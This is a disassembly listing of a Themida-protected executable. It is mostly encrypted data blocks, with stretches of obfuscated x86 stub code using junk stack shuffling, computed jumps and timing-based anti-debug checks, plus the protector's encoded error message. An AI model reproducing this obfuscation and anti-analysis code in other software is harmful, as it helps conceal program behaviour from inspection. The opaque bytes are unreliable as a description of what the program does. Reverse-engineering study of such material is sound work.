		dd 995D56E3h, 59C2F16Eh, 62A2ADC9h, 0AB4007EBh,	86AF3A64h
		dd 0DB388D1Dh, 0A9128C87h, 5ABDD919h, 8807E0A2h, 9E4B892Fh
		dd 8B6B2975h, 0A49E63D0h, 0A96CA69h, 22F40000h,	7999467Ch
		dd 0D342EF25h, 27E895CBh, 7D944177h, 2B7EB21h, 70A6F819h
		dd 174D51C3h, 0C2F8A66Ah, 6AA0FE15h, 0C427439Bh, 0F207E416h
		dd 6CA7D58Ch, 0D142A732h, 0F52642CDh, 0BBBC573Bh, 0E6833C9Fh
		dd 0A8116AFFh, 8B6AA272h, 40083874h, 99000000h,	858E96F3h
		dd 420B019h, 7E088B2h, 97FC87E0h, 54EC227Ch, 0B12E6E2Ah
		dd 8126BDD2h, 0B7640A94h, 9EB7425Ch, 0C9E575EBh, 0FDAD9DBh
		dd 0DE1EAE07h, 0E6995FC2h, 872C85FFh, 628B1688h, 0A7C77EBCh
		dd 65FD336Bh, 149FFF10h, 77D145EBh, 3CFFE683h, 94095112h
		dd 852B06D7h, 306638D8h, 16A6BACFh, 593916ECh, 8F0936B5h
		dd 9B6A7A27h, 0B149EF1Ch, 0E494BD95h, 0CF459A07h, 751B44CFh
		dd 343D32Ch, 7044A7C3h,	197207E4h, 4F4FC673h, 0E72C8119h
		dd 845A11B7h, 37F4834Ch, 155EAh, 8B709A00h, 7B86CE8Ch
		dd 0C22B739Eh, 97F3651Ch, 0A0BC1AC9h, 0FFE6833Ah, 7B23F146h
		dd 5DBC6312h, 0F32513D3h, 0DA15C49Ch, 0AE67BC3Bh, 0A3E94AF0h
		dd 680F12C1h, 74833C84h, 48DA37h, 0F36B0000h, 0BC15C49Ch
		dd 0E6833AA0h, 4EC419FFh, 948BC550h, 4D09D776h,	54EF45Dh
		dd 5DBCFDACh, 0A0306EA7h, 82E14460h, 7A0FFFE6h,	0F79D0698h
		dd 2969A940h, 0E683AA0Dh, 806ED8FFh, 0B2E2C36Fh, 7027CD36h
		dd 466Dh, 9CF30600h, 7CBC15C4h,	83BD203Ch, 8AE3FFE6h, 830A70E4h
		dd 0BFE9FFE6h, 0EB946351h, 2B8F2EAEh, 0E6C592D2h, 536CD77Dh
		dd 0A75DBCA4h, 0BC81306Eh, 82FD607Ch, 50BFFFE6h, 599AC34Eh
		dd 1E6B8600h, 0C62572AEh, 84167520h, 3774833Ch,	3CDAh
		dd 7CBC6B00h, 4AB6E827h, 0FFE682E7h, 0AD0EB40Dh, 0BCD685DFh
		dd 6E4527Ch, 0D7E98327h, 0E257BD31h, 2A83FFE6h,	0A75DBC7Bh
		dd 0A984336Bh, 4A6D4Ah,	0E5250000h, 0E68366C9h,	8D338CFFh
		dd 527CBCD6h, 38EDA4Bh,	88EB5753h, 0AEFFE74Ch, 3E4EAF55h
		dd 7CBC7524h, 0E732A452h, 0CA444BF0h, 0A4BBE08h, 44B85EEEh
		dd 0FFE6E6DEh, 0BC22D1EAh, 0AC39527Ch, 0F1889D7Ch, 6BA7944Bh
		dd 4AA98433h, 0FFFEA26Dh, 96F306FFh, 832487A3h,	0F952FFE6h
		dd 8FE40090h, 0BD07E402h, 947FD464h, 0A11B74F9h, 0E4142285h
		dd 7DF75007h, 0C9326CDEh, 9FBBFB93h, 7E4663Ch, 0A6B116Ah
		dd 314DDD83h, 7E466CEh,	0DBC350A5h, 38812750h, 0C72854DFh
		dd 0C907E466h, 6ABF8E48h, 8050F6A8h, 40726E48h,	10E6h
		dd 79E07700h, 43FFE683h, 0B198CED0h, 0C0h, 0CA96F34Ah
		dd 755C103Ah, 4666F29Fh, 73C808A0h, 0B85AFF9Fh,	9ACC40E6h
		dd 0C807E17Fh, 0BAB5DF6Fh, 0F021FDC8h, 5A44D075h, 49C71CB4h
		dd 0CCAC8944h, 167FC32Bh, 0B0DD33E0h, 69F0A7ADh, 0C954BD56h
		dd 0F787D9B0h, 0DF9B8DB7h, 0A77953DEh, 0F1288D01h, 0B2070FDEh
		dd 60C53F5Fh, 0B3E3A314h, 0EF489137h, 98060A5Fh, 1C5BB562h
		dd 0EDAD9D00h, 16AC3FFh, 342C5D76h, 257D88A4h, 0CA2307EBh
		dd 702EE53Ah, 18868D3Ah, 639D805Ah, 0AF4E899Eh,	758h, 84BAE432h
		dd 2D633BD7h, 0D3099580h, 7FB5E926h, 295F3FD2h,	0BA5740F5h
		dd 1301AEE4h, 68A8558Bh, 0C0530036h, 81D9A8DEh,	0E4190265h
		dd 13CA3007h, 0A7326CA7h, 42CDD142h, 0DF6A34DDh, 7A05997Ah
		dd 5D05BFE8h, 3216D001h, 0B787BDE1h, 38748F7Fh,	271Dh
		dd 96F3AE00h, 7C1E3ACAh, 2A07E0A0h, 0A1F646D1h,	7AA32E70h
		dd 9EF960D4h, 820307E0h, 0AB89C1C8h, 4227406Eh,	0B8000000h
		dd 3ACA96F3h, 0E08EAC1Eh, 7E96EB07h, 0D8317A20h, 27D3FD4Dh
		dd 78D86A87h, 1D809C2Ch, 4307E172h, 7C9744EAh, 0D43FEC22h
		dd 63263FCAh, 0ED2D6DFDh, 0E1726ED1h, 953B9407h, 0DB91EF21h
		dd 649AF30Fh, 0B55F7BADh, 7F1D7BD4h, 0FEF1AA60h, 53091084h
		dd 0D63F54EBh, 55282A46h, 0FF3F07E1h, 0E15080E3h, 211A607h
		dd 7FE8119Ch, 5070D3EFh, 3D9607E1h, 0B8F54E97h,	579A9454h
		dd 81DFAAC8h, 1313D5F1h, 0E63FCF6Dh, 0DD47425Bh, 6FFF6836h
		dd 574CCE53h, 0F9FF8C8h, 0B54559BAh, 60EBB360h,	0A6539137h
		dd 0B773316Dh, 985E157Ah, 62EBE5Dh, 0BA5C0000h,	1101AEE4h
		dd 6BAA578Dh, 0BF50FD33h, 15FCA9DFh, 6A1F5389h,	0D80E9081h
		dd 7FB5E92Bh, 2A603ED2h, 0D208967Dh, 2C8FAB03h,	5A07E41Ah
		dd 92BC3DF4h, 48A71364h, 49F69CF1h, 1A44D4CAh, 11B6A573h
		dd 2CBF65F3h, 573F4EC7h, 0FAA46F03h, 3B66E780h,	4E3B9CD2h
		dd 606CCFEBh, 419AFFE7h, 0C72C48D8h, 0F507E4DFh, 69AC119Ch
		dd 6DB17735h, 57929E64h, 5B7B8h, 5B43D300h, 49A7825h, 0AAF421CEh
		dd 5648C774h, 9E7320h, 0FAE196CAh, 0A4518717h, 4BF82E70h
		dd 0F6A3D9C5h, 7C4B811Dh, 1BA50824h, 65CB07E4h,	607CBCAEh
		dd 0FFE682FDh, 0F6E6B923h, 0E6349229h, 1376D77Dh, 38A1BD4Dh
		dd 5F07E4ADh, 58A0031Fh, 5CC607E4h, 9C15A3D2h, 0E287F0CAh
		dd 82CB712Dh, 0DC399E29h, 8E3404C2h, 0DA159E64h, 5473Bh
		dd 0CBD34300h, 742AE895h, 1A84913Eh, 0C6D837E4h
		dd 702EE390h, 6A51063Ah, 14C1F7A7h, 0BB689E00h,	66134955h
		dd 0ECBBF1ADh, 1B157894h, 0D53B07E4h, 607CBC1Eh, 0FFE682FDh
		dd 0C324CA23h, 0EE0A9AC6h, 7E40281h, 4DB0CC0Ch,	2407E401h
		dd 0E401A508h, 3172CB07h, 90E932D8h, 2975A005h,	64B1D96Bh
		dd 9837729Eh, 4E0h, 0FC326CAAh,	0A5DBC34Fh, 4B811DF8h
		dd 0F72D719Eh, 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h
		dd 48CB78AEh, 0F9512056h, 0E41C7ADDh, 8B42A807h, 0A2326CA7h
		dd 82E34662h, 66ADFFE6h, 0F89EF738h, 55C01565h,	0EF95BE49h
		dd 42CDD142h, 12F6B0E9h, 0EBB36101h, 98CE3760h,	0EB7628EBh
		dd 0E68359BFh, 0ADF121FFh, 4658BD22h, 460029BBh, 68922A9Eh
		dd 0D63D0E25h, 9A143DC8h, 36DCF588h, 0FC17FBB5h, 0BAE812A2h
		dd 2D87FD46h, 5FF735DBh, 0D3A39035h, 0F59B1747h, 48D3CB48h
		dd 306EA3F8h, 6836DD8Ah, 0E428AED8h, 9445406Bh,	0C318B0EEh
		dd 0D4D24C52h, 0CA0D1736h, 2F5ABB61h, 0EB85A131h, 9707E0EDh
		dd 2087B33Eh, 2A07E0EDh, 0B0E8EFA9h, 4E406EF5h,	2Fh, 0A396F3DFh
		dd 0E6832487h, 20E419FFh, 0C3056F27h, 30C02982h, 0E1174614h
		dd 70FB5407h, 0E0E5DD44h, 0AC66E707h, 6EF26DA5h, 0C80B40h
		dd 0A79C0000h, 42A7326Ch, 0FF3FCFCFh, 0E68380E3h, 0CFCF42FFh
		dd 0FC8F358Eh, 97227C97h, 87BDE132h, 0E687EF13h, 0ADE033FFh
		dd 0D5FBB8B8h, 8AC02987h, 0DD6836DDh, 0B9BC5C4h, 5C6019E1h
		dd 635F821Ch, 41D0A611h, 0FD16BB24h, 47ED16A1h,	50AD93AFh
		dd 80D907E1h, 0C0A0E94Ah, 13381430h, 0D660FDEh,	0B7E7287Dh
		dd 0C55D032Ch, 0C7FDA170h, 6480F71Ah, 0FFECD201h, 237B9A2Fh
		dd 9D066F98h, 9F807BDFh, 2A1DC99h, 358h, 84BAE432h, 2D633BD7h
		dd 0D3099580h, 7FB5E926h, 295F3FD2h, 0BA5740F5h, 1301AEE4h
		dd 68A8558Bh, 0C0530036h, 81D9A8DEh, 0E41D0265h, 13CA3007h
		dd 0FE346AA7h, 4CDCC251h, 0A8F06522h, 5E046EB0h, 96F36920h
		dd 2DE53ACAh, 1733CB71h, 7E09C49h, 0F2FDDC06h, 7FEC2B40h
		dd 0AC3790D9h, 0E0E51980h, 722CE307h, 0E9082E7h, 0ACF21E83h
		dd 8F37F11Ah, 20EFA92Ah, 97E154F6h, 0DF856831h,	6F6CD70Fh
		dd 0D27540h, 0A7060000h, 42A7326Ch, 1844CFCFh, 0FFE687F4h
		dd 93C9D53Eh, 2F6FA6FBh, 28D57BA4h, 59977EBh, 0A5C1517Ah
		dd 0FFE68742h, 1EAE1770h, 0AC524CC9h, 0D7890019h, 9D452B47h
		dd 187107E0h, 560E5E88h, 0AC5B5851h, 2267C806h,	5792AE3Eh
		dd 6D0FDE33h, 0D6613DD8h, 74B444ADh, 0A36EF41Fh, 0DE4770FBh
		dd 0D7842A53h, 0BE213D3Ah, 0E4FFEC91h, 90E54864h, 0B20BFFECh
		dd 0FDAAE049h, 62CC8A14h, 0BF999FC1h, 24EE584h,	0DA3C0000h
		dd 31E18EC4h, 8B8A376Dh, 0DF30DD13h, 35DC89BFh,	4AFF3369h
		dd 0B8EEB061h, 5F95090Bh, 0A405EB2h, 0B2E8B65Dh, 0C6F8BE3h
		dd 3A07E41Eh, 6AA71DD4h, 0C34FA434h, 4AF735DBh,	79FD5C9h
		dd 0EFBCBDDh, 1452F60Fh, 9C5F5737h, 0EDA44AB3h,	0D1DB92BCh
		dd 0CCCCB41Eh, 0A2CB5648h, 2DE69339h, 9281E671h, 1475D60Ch
		dd 0FEA0BC4Ch, 5507E0E2h, 248AE12Bh, 8C321ADEh,	335FEA43h
		dd 7E114CCh, 949B55D6h,	406F1C5Ch, 42FAh, 96F38B00h, 0DEFA3ACAh
		dd 0FFE6837Bh, 12AA50A9h, 1B46A8D2h, 0F0CF9C89h, 0D0B8D64Ah
		dd 8DE607E0h, 0C46FD602h, 0F87907E0h, 0CFFF373Eh, 229D406Eh
		dd 4D000000h, 4658B80Dh, 0C32692BBh, 0F107E0B8h, 0E03BF298h
		dd 0FFE6837Ah, 0D767F990h, 0E0AFB9BBh, 8EC41D07h, 0CA96F3D7h
		dd 0B7A41E3Ah, 0D84207E0h, 5F1A57D7h, 0BF4AB39Ah, 0E0932C93h
		dd 0FBB53607h, 0C3DC022Ch, 8F333B1Fh, 33E119E9h, 227F406Fh
		dd 10000000h, 0E68379E0h, 66FA8FFFh, 0AFB8BAD6h, 8FCF07E0h
		dd 0E0AF1073h, 37DD3607h, 0E8B659EEh, 95CB345Dh, 0CA96F3DEh
		dd 2A91E3Ah, 0DA3307E4h, 591EF54Ah, 8930B04h, 11073DFh
		dd 0DD3607E4h, 82913E74h, 1178911Ch, 1A90C28h, 7ED707E4h
		dd 71698515h, 550FE17Fh, 0FC176CFCh, 54BF6CA2h,	499F0639h
		dd 0A10AC2B6h, 0A79CE711h, 35F6E1DFh, 0A6E3FC8Fh, 0AC0E2ABAh
		dd 0DA07E119h, 8BA3C381h, 71AC9E63h, 0BBD2h, 5747CF00h
		dd 9E7421h, 0A6F81DCAh,	524CC370h, 0FCA26F1Ch, 0F6DD92C6h
		dd 0A04D831Bh, 47F42A74h, 0F29FD5C9h, 78477D21h, 20A10420h
		dd 69CF07E4h, 0CA96F3B2h, 4730E53Ah, 0E683C82Bh, 2C95EEFFh
		dd 3AD278A1h, 0E402221Eh, 0D863BC07h, 4DC2A073h, 349DC651h
		dd 0DCC251FEh, 771C2551h, 22724B4Ah, 8E63C6E2h,	38914481h
		dd 8E298CA8h, 0FE574481h, 4E1DD758h, 4757B90Eh,	818E78DBh
		dd 6099E44h, 7BE40D98h,	0B3EB28D5h, 5B43D07Dh, 0FAA46BD0h
		dd 0FAB4DD6Fh, 6BA1FD16h, 30D55BEh, 72E92F8Ah, 0DD468EF2h
		dd 35C02952h, 0F96h, 18F94E00h,	7996FB86h, 8719A25h, 5CBBAB62h
		dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h
		dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E0895052h
		dd 405h, 4E88300h, 2474FF50h, 48F5804h
; ---------------------------------------------------------------------------
		and	al, 5Ch
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	ecx
		mov	ecx, 30632A67h
		dec	ecx
		sub	ecx, 2865A9CEh
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	523Dh
		mov	[esp], edx
		add	dword ptr [esp], 52A676AFh
		pop	dword ptr [edi+8]
		sub	dword ptr [edi+8], 52A676AFh
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		pop	ss
		mov	esi, 9BD5618Eh


loc_5BD2E4:				; CODE XREF: Themida_:loc_5BB402j
		mov	eax, 7FD9E08h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 5, 5Dh, 0A5h
		dd 28AF8720h, 0A1335D39h, 0EB635309h, 7CE3B12Dh, 922B875Fh
		dd 34274906h, 999FEB05h, 0CE852h, 8EAA0000h, 0B1EFC155h
		dd 895680EBh, 8B66278Dh, 800F58D1h, 6, 92E9D981h, 0C0814D82h
		dd 6417h, 6860Fh, 0D9810000h, 45D2D1DBh, 4795B5BFh, 0E7EF8138h
		dd 0F38477Ch, 0A8Bh, 48E0F00h, 66000000h, 0FF8D1FBBh, 0DE930h
		dd 0D2BA0000h, 89139C53h, 99D673A0h, 5E41D68Bh,	0BDEE81F5h
		dd 8A4DC715h, 7EC681CEh, 8009CB2Eh, 0C68132DBh,	25318E7Dh
		dd 7983D7BBh, 820F5628h, 2, 8FF3B3h, 0ED0FDDBBh, 2E88315h
		dd 592FB552h, 0BE84848h, 26000000h, 9C693262h, 52ADA741h
		dd 0A3B20D8Eh, 1EF815Ah, 0F000000h, 1585h, 7EBB6600h, 27E9C4h
		dd 4EF00000h, 0F00750E4h, 750E44Eh, 8B664EF0h, 0FF79E9D1h
		dd 336CFFFFh, 21E24685h, 4EC4C038h, 6B965D70h, 93E10279h
		dd 400E9F2h, 0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FD48+2B8h
		dd offset dword_44B1B4+4E4Ch
		dd 0
		dd 85E90000h, 0F000012h, 1983h,	14E900h, 0CB2B0000h, 0ECA5251h
		dd 0AA1DB747h, 0B24AC47Ch, 63C294CFh, 858BE196h, 7FA0AF5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 46C35545h
		dd 0FC70800h, 1FA2DD8Dh, 8160F9D8h, 0B14467E9h,	559D896Bh
		dd 6107FA34h, 4244439h,	6A850Fh, 870F0000h, 1Bh, 15840Fh
		dd 10E90000h, 6000000h,	0CD819B71h, 6B8D8548h, 9F52448Eh
		dd 83C25299h, 0FA1CC5BDh, 840F0007h, 3Ch, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 65C35141h, 26F98D89h
		dd 9D0907FAh, 7FA28F5h,	3AE2858Dh, 0B50907FAh, 7FA07A1h
		dd 8589E0FFh, 7FA2F91h,	515858Bh, 6A07FAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E97A94C3h
		dd 12h,	2D8406A4h, 8AF9A08Fh, 0E0AEBB4Ch, 53678D6h, 39FC267Ah
		dd 0F042444h, 3485h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 860F8B77h, 1, 0B585C7F5h
		dd 107FDA3h, 89000000h,	0FA0D6985h, 0B5016007h,	7FA2B19h
		dd 41E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0BA8C62F0h, 5531505Eh, 14830Fh, 8F0F0000h
		dd 0Eh,	9E9h, 14984F00h, 31F11A9Bh, 2404h, 1B80000h, 87000000h
		dd 0FDA54D85h, 75C00B07h, 65B5FFF6h, 8F07FA06h,	0FDA3AD85h
		dd 6A206A07h, 4195FFFFh, 8307FA15h, 0FA1809BDh,	8740007h
		dd 95FF006Ah, 7FA1019h,	2C05BD83h, 740107FAh, 80680Dh
		dd 0FF6A0000h, 154195FFh, 7E907FAh, 2E000000h, 357E459Ah
		dd 6E9F344h, 29000000h,	9E90CDD9h, 56006AC5h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 5C5462A8h
		dd 0FE9h, 0BAD56600h, 0D6BF4E6Dh, 48B20D0Dh, 0F0ABB8A0h
		dd 6AC02Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0A56B12C3h, 2D0F671Bh, 548BFC38h,	9D892824h
		dd 7FA2E65h, 154D8589h,	8D8907FAh, 7FA062Dh, 3CBEh, 0FDBD8900h
		dd 307FA07h, 60242474h,	8BF08B66h, 0B50961D1h, 7FA329Dh
		dd 6AAD66h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0B20722C3h, 240D9531h, 0F6007FAh,	0BF0FC9B7h
		dd 440361F6h, 0E9602424h, 8, 545175CAh,	0D47DBAC5h, 12E95061h
		dd 7000000h, 0C88C9817h, 0BF65169Dh, 947C5A27h,	3899E579h
		dd 24048908h, 0A8D8BA60h, 8B661F6Eh, 408B61D7h,	0C8C0F78h
		dd 0E9000000h, 7, 301120D9h, 83B1979Fh,	0FDA3B5BDh, 850F0007h
		dd 115h, 2E29B589h, 858907FAh, 7FA2699h, 50525090h, 8E0F52h
		dd 0F000000h, 810F31h, 5A000000h, 50310F58h, 0F616052h
		dd 8C0F31h, 5A000000h, 50585A58h, 0AE9h, 0A4D7FD00h, 0F1237AB0h
		dd 90B02ED8h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	2BC35747h, 0F21C25F4h, 0EDD2A429h, 21D58D89h, 448B07FAh
		dd 85312C24h, 7FA2DB5h,	158B0F50h, 0E9000000h, 10h, 5E1E9963h
		dd 591EDECh, 4E90DDDBh,	0AF7FCCC4h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 1664C357h, 0A1B5295Eh, 8D07FA11h, 0FD72FF85h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0E51ECEDDh, 0BFEA91F8h, 0B58926D2h, 7FA27BDh, 16D9BD01h
		dd 0D0FF07FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0A7C35646h, 0F9470679h,	244403F5h, 11B52928h, 8B07FA1Fh
		dd 40F81840h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	53C35646h, 34D59D31h, 858907FAh, 7FDA3B1h, 0AE860h
		dd 75A50000h, 2CCB3822h, 0CF030496h, 16E1B589h,	805807FAh
		dd 5861A0ECh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	8FC35343h, 0C5398F9Ch, 9E90Dh, 6E3E0000h, 52A7F016h
		dd 8B5D7170h, 6A7870h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0ACB4BDC3h, 838ED918h, 6A1CC6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 7224AC3h, 5E94AB2h, 9000000h, 3792C7B5h, 50006A96h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 584358F5h, 9369811h,	0FA1185B5h, 1F820F07h, 0F000000h
		dd 198Dh, 14E900h, 0FBF80000h, 5DC9FE13h, 0ADBCE135h, 5F0422C9h
		dd 22FECA22h, 7C8131B3h, 2424h,	870F1000h, 116h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 7C35343h, 2C214ED7h
		dd 8932C424h, 0FA06ED95h, 0AE99007h, 58000000h,	0A090F23h
		dd 879237ADh, 66605090h, 6143F3BAh, 10E990h, 748E0000h
		dd 0BDF2E84Fh, 9AB52A75h, 0ED5A6E3Ah, 448BA3DFh, 6A2824h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 7461DFC3h, 0CED81118h, 666090F3h, 8B0FCE8Bh,	0Eh, 8E8h
		dd 0C93E9900h, 2ECE2D9Dh, 50615F8Eh, 68B0Fh, 60600000h
		dd 61616061h, 0BE990h, 6F470000h, 40ABA8F6h, 4DED302Fh
		dd 0FF858DABh, 6A07FD72h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 174EC351h, 0ACBB6060h
		dd 667232F2h, 8061D68Bh, 896146C1h, 0FA020DBDh,	6AD0FF07h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0FB6EC356h, 0E2BE23F9h, 17F1BD29h, 6A9607FAh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 411C356h,	1ABC904h, 0FA3139BDh, 24740307h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0FE5EA07Eh, 0FBB2606Eh, 61958961h, 8D07FA1Fh
		dd 0FA0F71BDh, 0BE907h,	0CAFD0000h, 3DDDD60Fh, 0E3C92CB4h
		dd 98D0995h, 0AD07FA01h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 0EEC35646h, 5E90A26h,	0EC000000h, 0EA54704Fh
		dd 0CE98D29h, 7C8107FAh, 2424h,	870F1000h, 0E9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 68A0Fh
		dd 8D890000h, 7FA0015h,	7E950h,	0F7130000h, 0D62C0B5Eh
		dd 2404896Ch, 24448BFCh, 52006A28h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 9FC2B851h, 25527A09h
		dd 49BB6050h, 0E904D4EFh, 0Ch, 0BC41C3D0h, 0A859BC8Dh
		dd 2C997174h, 24048961h, 23198D31h, 858D07FAh, 7FD72FFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C0C35545h
		dd 0C03D11D7h, 0EA6E8A53h, 0D0FFF506h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 28C35646h, 0EC737686h, 3ECB12B0h
		dd 0E860F0Bh, 60000000h, 8A0Fh,	8D890000h, 7FA16F5h
		dd 24440361h, 399D3124h, 0AB07FA2Ch, 28A0F60h, 8B000000h
		dd 0FE8D0h, 0E5FB0000h,	0B5BE2C33h, 588B3BD6h, 44374F89h
		dd 13E8F5h, 0C68D0000h,	5BE1FAE9h, 0C889EB88h, 9335F770h
		dd 0A5D607C6h, 615E5818h, 0FA81h, 820F0001h, 856h, 6870Fh
		dd 85890000h, 7FA2829h,	275DBD8Dh, 6A07FAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 67AAD6C3h
		dd 0BB62964h, 95897944h, 7FA316Dh, 52006AADh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 6BB97AE6h
		dd 7E41753Ah, 8589B119h, 7FA2949h, 0D0F08160h, 0F04ECBDh
		dd 288h, 616EB100h, 24247C81h, 10000000h, 0E8870Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 54A250C3h, 98D891Ch,	5007FA15h, 128F0Fh, 52500000h
		dd 310F5250h, 310F585Ah, 8D0Fh,	585A0000h, 60240489h, 20EDBD0Bh
		dd 8B6107FAh, 6A282444h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 4803C353h, 27ED8D09h
		dd 505007FAh, 0DE952h, 0DB410000h, 0A7C8E699h, 32943FFAh
		dd 0F15FF7Bh, 2800F31h,	60000000h, 89585A61h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 24650DC3h, 72FF858Dh, 0FFF807FDh, 51006AD0h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0FCF2A1FAh
		dd 8E9h, 346E2C00h, 9976BCF4h, 4403FCEBh, 6A2424h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 7349FFC3h, 9793F4A9h, 60BFE945h, 231DBD8Bh, 0B58907FAh
		dd 7FA10A1h, 0DE99061h,	83000000h, 147BD130h, 853425DCh
		dd 84A50AF1h, 12860F50h, 60000000h, 3E83B866h, 6E8h, 514CA800h
		dd 5B43F36Dh, 0ABFC9061h, 23F5B531h, 0BD8D07FAh, 7FA27D5h
		dd 0BE960h, 0B3310000h,	1589CE0Eh, 0C4176339h, 0F1B58987h
		dd 6107FA0Ch, 0F9B589ADh, 8107FA27h, 28247Ch, 0F100000h
		dd 14787h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0BE071E60h, 67B9CEFEh, 0D98B6050h
		dd 89610CB3h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 89F50CC3h, 0FA29B1B5h, 24448B07h
		dd 57006A2Ch, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 810F233Fh, 0Ch, 6870Fh, 85890000h, 7FA0BE1h
		dd 14819D89h, 505007FAh, 50525052h, 5A310F52h, 0E9310F58h
		dd 9, 0D1878980h, 0F15DED00h, 0F585AF2h, 60525031h, 0E9310F61h
		dd 13h,	61BD4696h, 15AD506Ah, 6D446F45h, 43A3F628h, 5AE0F735h
		dd 89585A58h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 352F2BC3h, 0B523603Bh, 7FA29E5h
		dd 1BE1BD8Bh, 8D6107FAh, 0FD72FF85h, 0EE907h, 0A99B0000h
		dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 6AD0FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 99B6F7C3h, 0C8E0FABh, 0E9000000h, 7,	0C1164CFh, 0F5B7C0C1h
		dd 28244403h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	21C35545h, 0E95150BEh, 1C26E8C3h, 0DE9h, 42515B00h
		dd 0E395A8B0h, 0B9534581h, 0ABF93572h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 75C35545h, 8BD1A0F7h, 996B760Eh
		dd 18890Fh, 13E90000h, 8A000000h, 0CCF348DBh, 0FDE3F1FCh
		dd 749BFE55h, 5793B41Ah, 0FF5E6C5Ch, 0FDA3B18Dh, 0B1BD8307h
		dd 7FDA3h, 0C0330A75h, 0B3B5B58Dh, 0E6FF07FDh, 7C81AD56h
		dd 2824h, 0E771000h, 24448B50h,	858D502Ch, 7FD72FFh, 4403D0FFh
		dd 8B972824h, 0AD858ADFh, 8407FDA3h, 3A0474C0h,	574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
